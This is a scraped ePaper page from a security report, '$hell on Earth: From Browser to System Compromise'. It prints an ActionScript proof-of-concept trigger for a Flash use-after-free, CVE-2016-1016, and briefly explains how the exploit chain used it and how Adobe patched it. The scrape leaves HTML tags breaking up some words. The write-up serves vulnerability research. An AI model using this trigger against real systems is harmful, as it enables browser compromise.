04.08.2016 Views

$hell on Earth

shell-on-earth

shell-on-earth

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Here is a minimal PoC that triggers this vulnerability:<br />

var arrMovieClips:Array = new Array(0x500);<br />

for ( var i = 0; i < arrMovieClips.length; ++ i ) {<br />

arrMovieClips[i] = swfRoot.createEmptyMovieClip(“mc” + i,<br />

swfRoot.getNextHighestDepth());<br />

}<br />

var mc:MovieClip = arrMovieClips[arrMovieClips.length - 0x100];<br />

var t = new Transform(mc);<br />

var geom = _global[“flash”][“geom”];<br />

var OriginalMatrix = flash.geom.Matrix;<br />

geom.addProperty(‘Matrix’,functi<strong>on</strong>() {<br />

for ( var i = arrMovieClips.length - 0x200; i < arrMovieClips.length; ++<br />

i )<br />

arrMovieClips[i].removeMovieClip();<br />

return OriginalMatrix;<br />

}, functi<strong>on</strong>() {} );<br />

var m = t.matrix;<br />

Exploitati<strong>on</strong> of CVE-2016-1016<br />

Exploitati<strong>on</strong> of this vulnerability occurred by triggering the free of MovieClip objects within the custom<br />

accessor <strong>on</strong> the geom object and replacing them with custom AS3 objects. At this point, the addresses<br />

of c<strong>on</strong>trolled objects are known and passed <strong>on</strong> to the last vulnerability in the userland exploit.<br />

CVE-2016-1016 Patch<br />

To patch this vulnerability, Adobe modified the handler for Transform objects in AS2 by adding a stack<br />

variable to store the c<strong>on</strong>tents of the matrix prior to calling the copy routine.<br />

Although hijacking the matrix property of flash.geom is still possible to free the original matrix property,<br />

nothing malicious can occur.<br />

26 | <str<strong>on</strong>g>$hell</str<strong>on</strong>g> <strong>on</strong> <strong>Earth</strong>: From Browser to System Compromise

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!